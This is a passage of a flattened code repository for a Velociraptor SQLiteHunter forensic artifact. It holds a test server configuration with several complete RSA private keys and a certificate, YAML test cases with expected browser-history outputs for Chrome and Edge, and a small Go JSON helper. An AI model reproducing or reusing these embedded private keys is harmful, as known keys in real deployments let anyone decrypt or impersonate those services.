RSA PRIVATE KEY----- 54 | MIIEogIBAAKCAQEAlc585ijmL/8PyTJendUje2/fpMJhz0V/gRyclYvFu7VAUg66 55 | qQfTVbX6SzNNQQzu8xN9Xxoy2TxGwcwX4FOW3N0q5kRVbHf7O1ZvhYX4nD6wvp81 56 | p6qscApPtPQvE0VnqtKrWL7rZ1S5vR6thT0DvE7ujyoylSZ4bqG1uhy38qHkJ1n/ 57 | o/ZxQnOSzJDg2ljPxWQ3ybJSqB5j8TG8ntOOw++tv1ZtAsSLeO9IhZQGxeSJBsAM 58 | vwWXGBYI71Xi+xaOBRuz4meIVFwnDDzSgua3Fy6DONyWRXC9WhUv0cD406HTKmrI 59 | OIG5D0UltU8Lr4qJfxdSWRraYbb9JhbUhgNjmwIDAQABAoIBADdO2QYQq4uk26so 60 | kY4sFsGH+EXYDkx8GCsO6TC9Pe+jZ2/kSD4HyZqnaRVCh48wuze7RlpKTeOuQWFj 61 | fJ0xv00jyqbhK7i0Q2kQ7HOblsH400BNf327oZZr+CmSzZ6LzU5gISrOshKgUULl 62 | hKLgd/SaH7FznuE6JtSRl4py9+b4FarfH51bKKgwMv+8305XCfIMFTheSj7dK7od 63 | Ik1fLTwBJDcD/ezkzqcAwxtdWnrfTnEJj8rh3ZCb/YegDcAUotRD8N0n+19NUtTn 64 | M1re+yt9S+lF+WE6lawxvp3pOscXz8n6aahx2bG9dFVDA1/BS2pgGWCmMf3vb7tT 65 | BKvNVYECgYEAwYTbE0kBNv8/pE0SkmMFtNntQ+yYyhRKqMViNx+LRI3AOnj+jZnu 66 | sPDy0p2oyrtDAAo5kQzBzfcWYKfzVQNiow8nAanrgzg7yog5sXQ9nVmi/4XtOd4P 67 | 8XfxvDMxQKW/t3dQociTW1dLd7Zd00aPWVBOm3WNbZFnMMyiuRSxuvECgYEAxiyf 68 | kZ0pOAbCZJMMDL/3DcnsyDnUkJsydeYu83aMcQdaZ2GC3GU1i9u+50hdGdf/AiXf 69 | eb6wi8eOzoqIHwAZdSEi5hg6FAOzJohkYVIuIuXfO1hZF9onNYeT3nD7tyj9KcYJ 70 | 5xg/QuQ1the/0zDw6bjBeul7XkvU7DAefeTVj0sCgYAPi+3Rqc7ILU9ekraIPh5K 71 | Piu6hjpsGZ852cmfJhCZLE4iJHBGzfQIEQNg+juCNfMXALtJNN4o/s20bCm3TbNR 72 | 6Di5AH6kJxNenP0NjYoZpwbaQlchi/555qnr9aziRa6WPaajqKp17xhoAKWfAI8p 73 | nLMD+DipccH5gKcd+VSh8QKBgG1BPrvFvGrB9zwBgbwpvSeh8mO01kbe+SPcwnfB 74 | HM5XsnSaYs3lEm9Ht+jEkWdlGJbzkFALXEPDwiyGXWNR57cWjKn0I1jTbVpKCaVJ 75 | 7FubBcYu//dRcxpk45XYDj49X80+/EimqoHTVPVOBJiHO9pu3GRKApTLE9ke8kCP 76 | /1kfAoGAOORWv960OeB2sO1Jra12lbbV+eT2aXULjYMAPBlS05lQwhfmQBBtV+EJ 77 | P2A0b1WQcnh7d6/HNGF9iRPP2BIyRCw2qbyOHTAgSzQni0mem1COO6NRNNMeoAdY 78 | NRhw0WXKTBTNUZTQJxIfpusSOc05iUQ6BgSIu7ew3xGjMqkcYHM= 79 | -----END RSA PRIVATE KEY----- 80 | 81 | API: 82 | bind_address: 127.0.0.1 83 | bind_port: 8002 84 | bind_scheme: tcp 85 | pinned_gw_name: GRPC_GW 86 | 87 | Frontend: 88 | hostname: www.example.com 89 | certificate: | 90 | -----BEGIN CERTIFICATE----- 91 | MIIDGDCCAgCgAwIBAgIRAKEBXjC7StzR7Z7pr/LhyF0wDQYJKoZIhvcNAQELBQAw 92 | GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDQyMzE0NDE0MloXDTIx 93 | MDQyMzE0NDE0MlowNDEVMBMGA1UEChMMVmVsb2NpcmFwdG9yMRswGQYDVQQDExJW 94 | ZWxvY2lyYXB0b3JTZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB 95 | AQDvmIw17wYohh4Xd9Mo8VNT7WBPq+XmoH3zXYE7e7PHvpwN0NGdPV6MNqd2Jim1 96 | XWLv0CCDCEDqKPrW9Z6zpSdBPexU8NfnhzJtGbY4KQl/i+Qaf1089eJ90t1FHA/R 97 | mHccpY1MdgGAl1BFjnkGI+2v/GHmE2pyxzuw7Yf9rLC1MW1o8hs/tQd58oZB5gnb 98 | N5WF0eBr9hHj8exfG8DQO7jgCnFFnGGGZEhaxYL5Q6HJIoVGPNWjYbOeHj79aPxY 99 | 5qqduVlwXdUBAnLYMl4Q3wNtVxdlw2zUfF8cCWRDD7hJVOnApjf1puG6qWXNqg4O 100 | I+35I7iGhAVh74mC80pzYdwZAgMBAAGjPzA9MA4GA1UdDwEB/wQEAwIFoDAdBgNV 101 | HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADANBgkqhkiG 102 | 9w0BAQsFAAOCAQEAR6W/jKzLuyBZNbztGqWCBXfSKrYxQbtabJA+t6sflWvJKK8m 103 | NuxBLP9BFwMbL3Hu76ROoSaRnYQXImNDuySbZj3yFSxKKES0rspfNhAnfGzqxm/V 104 | bR27dwIt6i/fGx18ycY4yqUd6fLYQzU3xDkNmbfYCJ6Vq0C5fhyu7bB3yj4n8Y+a 105 | 4rqbAkKAwmqNNCCLHro/OGttBcWJ8myARJ5meWf8NbahkS3En6fDSDinBThSVTYC 106 | a29h9EzqfOYcvxyzTB6QfX2FAB2T2pveyBp8IXG68ajqzPuLl1sqHcHAtIJ5u4Z+ 107 | pAjje0MkOSC60Shyde1ClYI/fLuFqAoKuPegZw== 108 | -----END CERTIFICATE----- 109 | private_key: | 110 | -----BEGIN RSA PRIVATE KEY----- 111 | MIIEpAIBAAKCAQEA75iMNe8GKIYeF3fTKPFTU+1gT6vl5qB9812BO3uzx76cDdDR 112 | nT1ejDandiYptV1i79AggwhA6ij61vWes6UnQT3sVPDX54cybRm2OCkJf4vkGn9d 113 | PPXifdLdRRwP0Zh3HKWNTHYBgJdQRY55BiPtr/xh5hNqcsc7sO2H/aywtTFtaPIb 114 | P7UHefKGQeYJ2zeVhdHga/YR4/HsXxvA0Du44ApxRZxhhmRIWsWC+UOhySKFRjzV 115 | o2Gznh4+/Wj8WOaqnblZcF3VAQJy2DJeEN8DbVcXZcNs1HxfHAlkQw+4SVTpwKY3 116 | 9abhuqllzaoODiPt+SO4hoQFYe+JgvNKc2HcGQIDAQABAoIBAQCHZzGN5VgYnLry 117 | zk/yaneKDbOJMv9JF9g2Kdi38g/GyWzNzf44G4+MM/LtrWGS0oTwPDGze32cF66y 118 | vrqCkcoeb81Yr4eEm/4edBJrqJ1qjHdLlkDuC5OFQh60SMiTzdM6yECTPnlY36qI 119 | tJymoLVZ6Iq3CK/2z6tnMMXS0b5HluBUhgPnnWhAGlltbUHgmz5pDum04ipkPMxt 120 | l+wyk7tgsUhsU+xNQQ4RoavsiJX70drt6pvhTASMbdpbfPie/0tD1VfUan35oek4 121 | fMV2g+62aJd+L0ctICvplUxM+0D0VIjuL/jRQ+43L7b5aFBAEbRbAsbXaMUOuVEH 122 | M7I04jbRAoGBAP5PI0Echt8F1x9oMt+ehidvQpEg362wvVR9QMfRmnZTLTh08kTH 123 | lCkUtc1zFV8Z1/hTVnVcFxMTHudNQCZ4qpkDLVO/9N68vcWyDNl0aS1fErl/cKmj 124 | A+LoSjyCW4fYKyMsdUjWiUpn6kFHll927bPJFHY3Wml1zOQ9L3ftdLJlAoGBAPEw 125 | Xc2i21NRewvj0jt7xW7qXLjuUL2cZ6XOpsD9eBzz8fwcELBkOomFMoqwY4jflGEk 126 | YRYbPC6dvXHnK37uFHmYDe+LcT8sdQpquHtAFeOWSxJ2rqChYzBi0qsuwMT/bf0N 127 | 58U7r0WrvwKel38PohROE9mATXxvTw6UjMW2EM2lAoGAKyBskBwwWx34b2EST43o 128 | nkNl/IqgpCn20Z80Hy7SjQJqBsr+Ut+tppHWivLbSvdtArXPUbO+TgPOF9en615H 129 | QA+j3jINasCDRkV9nFr7gzA+UqrkBkCY5iAShtRshUsJdbuSYDnRqoaY2V00iRf4 130 | E6ckCzAz6vKJPqOJq0LfqWkCgYEAi1UJm5YNZiCYGNJPzRU/hUfWsO7bre4A4oRz 131 | SOIk1XUHwkDkU0JTnsZX4E7t8VBYA5Zkj8TEC5oMqxSEyBr5sRTqWAwSLBCevJnS 132 | YUEwY/2a+NufHiSdjIJKeaHUsvlsrNevoP1Nz83b1sOPeVOqqlhAl1HLcatL3Hxs 133 | pnr7UhECgYAy/BRUbIA+D6oUghG2Am0i1kYsKyk5IIpzuSlwS4JmxxWq6w82GIB3 134 | 12VKai36f3IJQO06PqJk65f4dBw9d15/Hly4V0gpYnjSBghpwhfxC4fwJKTXuI3D 135 | miZYMg457XG9mci0RvY0SjdDOvrE07R63ddtxt8sjQ9+ffGO6WfBWQ== 136 | -----END RSA PRIVATE KEY----- 137 | do_not_compress_artifacts: true 138 | 139 | Datastore: 140 | implementation: FileBaseDataStore 141 | filestore_directory: ./datastore/ 142 | location: ./datastore/ 143 | 144 | Writeback: 145 | private_key: | 146 | -----BEGIN RSA PRIVATE KEY----- 147 | MIIEogIBAAKCAQEArmgftoc6pi/ZMGZO40UIKXlscTXrZWifDtTGsAhXfaKG4xzu 148 | LLLIM4Cr+L3ctYgFkWyczXst6Tx6zRyU/l2OqaWmJjhNwXlRwNajx+2ZqTa5zA8r 149 | lr+QeYrg19+Acmgb8DkPwp8in/f3tHl7Na8U8GE/3CX4nMsLOzcfAEdH/4IRh3b0 150 | 3VW361dlBL8Sw2KJ7ECmhujjtlxu7BUDolxxf8bIkFDVt/nhs9xxm2yI+b2xQnsy 151 | LDHpsZzSuXj/M38s8u0r59QtJ+ByjFjte+gjGpTc9WlMytTvI/RJUbiEKwOPjBVn 152 | BcV/1IZ08KokSfhq4xpVY/GPZVL4CEf/ZOo9rQIDAQABAoIBAFnNUW75yHAjuRBb 153 | zYjmVaKNXBIa8l8f9K59TuT7FpmhIxU0I0surzkdqu8ES+3I4R0VMNP49hXfR1fv 154 | vKQQ5lFh8uBBI4BYiIjjvCdIp1Ni015H/Wi8sJZ0tPtSoN/HzYLuzremmvyFgK0T 155 | 1CY7RWvUlz4y6wVI4zqVUkgha+gaZjoQklzamwqKHQwqtFyPVISmSp6XL/zexk95 156 | GVUGps4mtsXWUsSnsmlUD5Ola/7hXeEgbD1nj2Znobu9z0y8mDlIhpFpQJwu36KB 157 | 3o3tqBOXuoukxmsvuW8QxW1xzCICuh8CU5g6kWkyNJOsf4X5Y2js/5Zo9dbLkOrd 158 | VEnnV+ECgYEAydqTmbWQyOeUxV9mfD2BbjnzLvxMCCggW/i4TGYhtLweO7UPSiQT 159 | /zK0KX317vupUou//vGEcFKLPVu4xchsGrayOVCWEpurqvZfPmg9lWyF2fi8rZK0 160 | vOWCw8HIgIbb8EvRCH1v0gNMdzjaf1qLN28W5H/7re4rruQOEuyv29kCgYEA3TC9 161 | XFAVSePV/Ky22AdbccVacABmM5RAneot/E7DTrA9uGujUB+9kCPIDsPLCjT2uXj/ 162 | yP/a210t8KZBtvW+1Ums06titw65lkG7rjapB08vjF1aD0bjPE4R1uapm+CM6dlm 163 | oc3Beb8kyA+bXZMpnJT1KtAI3/zrdlZkhQlAL/UCgYAs/uViIUAqGL1oFfERhuBg 164 | Qti7w4/rTY6REet7VFT1Je4TXzQOUeaHP7U7fpGg+UZwWSiuWwYrx6q0Pcr9g8Td 165 | W5Z1AkrB0SO+U3c9wRzhPzTDNxhQFODnLr4shvj79ZP3h98L5nJTvVqBRRIny3Y3 166 | IDNZMlJXHj1smfetLkexWQKBgBgcgAfYEvoDBAiPKz9RTf6Q7NLYuEtXFdQg+vJO 167 | A6xIOfIoiZzqWNeljuFNJozuSRbewcM/YLQY7DEXboJrN2o4pcZNIG2kBUcD01mi 168 | S7qoPx6l7nNL3ulr+TXb3xFG4RV8xVtN+pEy7OeCDAWfTSHseu030D/aajB0KnD2 169 | GTEhAoGARB/E6j/WX+CBPWiF4XLV03F1hEMYY/ZSfijcZQniCNtRQUuIkTMiSv1E 170 | LZ5KmiY35bmYwkGOST6sd9T586nNEdIfs2ngcXwRcgPmQU7VaKQdeVnxhEG2xXFG 171 | NtyI/STijkpVi99wF39BvXkQGdJuDjAArjGj5kevCpvyveudL5g= 172 | -----END RSA PRIVATE KEY----- 173 | -------------------------------------------------------------------------------- /testing/testcases/chrome_notifications.in.yaml: -------------------------------------------------------------------------------- 1 | Queries: 2 | - | 3 | SELECT *, OSPath.Basename AS OSPath 4 | FROM Artifact.Generic.Forensic.SQLiteHunter( 5 | MatchFilename=TRUE, All=FALSE, Chrome=TRUE, 6 | CustomGlob=testFiles + '/Chrome/*') 7 | -------------------------------------------------------------------------------- /testing/testcases/chrome_notifications.out.yaml: -------------------------------------------------------------------------------- 1 | SELECT *, OSPath.Basename AS OSPath 2 | FROM Artifact.Generic.Forensic.SQLiteHunter( 3 | MatchFilename=TRUE, All=FALSE, Chrome=TRUE, 4 | CustomGlob=testFiles + '/Chrome/*') 5 | [ 6 | { 7 | "_Source": "Generic.Forensic.SQLiteHunter/AllFiles", 8 | "OSPath": "Preferences" 9 | }, 10 | { 11 | "Site": "https://docs.velociraptor.app:443,*", 12 | "LastModified": "2024-01-22T04:19:19Z", 13 | "LastEngagementTime": "2024-01-21T20:10:29Z", 14 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_Site Engagements", 15 | "OSPath": "Preferences" 16 | }, 17 | { 18 | "Site": "https://github.com:443,*", 19 | "LastModified": "2024-01-22T04:19:19Z", 20 | "LastEngagementTime": "2024-01-21T20:17:51Z", 21 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_Site Engagements", 22 | "OSPath": "Preferences" 23 | }, 24 | { 25 | "Site": "https://developer.chrome.com:443,*", 26 | "LastModified": "2024-01-21T14:33:10Z", 27 | "Setting": { 28 | "Site": "https://developer.chrome.com/", 29 | "CouldShowBannerEvents": "2024-01-21T14:33:10Z", 30 | "LastShown": "2024-01-21T14:32:36Z" 31 | }, 32 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners", 33 | "OSPath": "Preferences" 34 | }, 35 | { 36 | "Site": "https://developercommunity.visualstudio.com:443,*", 37 | "LastModified": "2024-01-23T01:36:02Z", 38 | "Setting": { 39 | "Site": "https://developercommunity.visualstudio.com/", 40 | "CouldShowBannerEvents": "2024-01-23T01:36:02Z", 41 | "LastShown": "2024-01-23T01:35:54Z" 42 | }, 43 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners", 44 | "OSPath": "Preferences" 45 | }, 46 | { 47 | "Site": "https://github.com:443,*", 48 | "LastModified": "2024-01-21T14:48:57Z", 49 | "Setting": { 50 | "Site": "https://github.com/", 51 | "CouldShowBannerEvents": "2024-01-21T14:48:57Z", 52 | "LastShown": "2024-01-21T14:48:23Z" 53 | }, 54 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners", 55 | "OSPath": "Preferences" 56 | }, 57 | { 58 | "Site": "https://web.dev:443,*", 59 | "LastModified": "2024-01-21T14:37:03Z", 60 | "Setting": { 61 | "Site": "https://web.dev/", 62 | "CouldShowBannerEvents": "2024-01-21T14:37:03Z", 63 | "LastShown": "2024-01-21T14:36:56Z" 64 | }, 65 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_App Banners", 66 | "OSPath": "Preferences" 67 | }, 68 | { 69 | "Site": "https://appuals.com:443,*", 70 | "LastModified": "2019-10-14T06:39:30Z", 71 | "Setting": "Block", 72 | "_Source": "Generic.Forensic.SQLiteHunter/Chromium Browser Notifications_Notification Preferences", 73 | "OSPath": "Preferences" 74 | } 75 | ] -------------------------------------------------------------------------------- /testing/testcases/edge_webassist.in.yaml: -------------------------------------------------------------------------------- 1 | Queries: 2 | - | 3 | SELECT *, OSPath.Basename AS OSPath 4 | FROM Artifact.Generic.Forensic.SQLiteHunter( 5 | FilterRegex="Audio", 6 | MatchFilename=FALSE, All=FALSE, Edge=TRUE, CustomGlob=testFiles + '/Edge/WebAssistDatabase') 7 | -------------------------------------------------------------------------------- /testing/testcases/edge_webassist.out.yaml: -------------------------------------------------------------------------------- 1 | SELECT *, OSPath.Basename AS OSPath 2 | FROM Artifact.Generic.Forensic.SQLiteHunter( 3 | FilterRegex="Audio", 4 | MatchFilename=FALSE, All=FALSE, Edge=TRUE, CustomGlob=testFiles + '/Edge/WebAssistDatabase') 5 | [ 6 | { 7 | "_Source": "Generic.Forensic.SQLiteHunter/AllFiles", 8 | "OSPath": "WebAssistDatabase" 9 | }, 10 | { 11 | "ID": 2, 12 | "Last Visited Time": "2023-08-27T11:00:53Z", 13 | "Title": "How to Record Audio on Windows 10", 14 | "URL": "https://www.lifewire.com/how-to-record-audio-on-windows-10-4773840", 15 | "VisitCount": 1, 16 | "_Source": "Generic.Forensic.SQLiteHunter/Edge Browser Navigation History_Navigation History", 17 | "OSPath": "WebAssistDatabase" 18 | } 19 | ] -------------------------------------------------------------------------------- /utils/json.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import "encoding/json" 4 | 5 | func MustMarshalString(v interface{}) string { 6 | result, err := json.Marshal(v) 7 | if err != nil { 8 | panic(err) 9 | } 10 | return string(result) 11 | } 12 | --------------------------------------------------------------------------------